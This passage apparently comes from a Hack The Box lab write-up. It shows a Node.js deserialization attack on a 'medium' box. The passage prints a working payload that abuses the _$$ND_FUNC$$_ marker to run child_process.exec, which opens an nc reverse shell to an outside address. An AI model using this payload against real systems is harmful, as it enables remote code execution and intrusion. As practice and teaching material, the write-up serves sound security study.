http://bin.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/HTB/Medium/22.html
So let's try out a generic Node.js parsing and serialization
vulnerability: Original JSON: {"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"} Infected JSON: {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.10 9001 >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });}()"} Therefore we obtain the combination of the two which is what we're going to use on this box...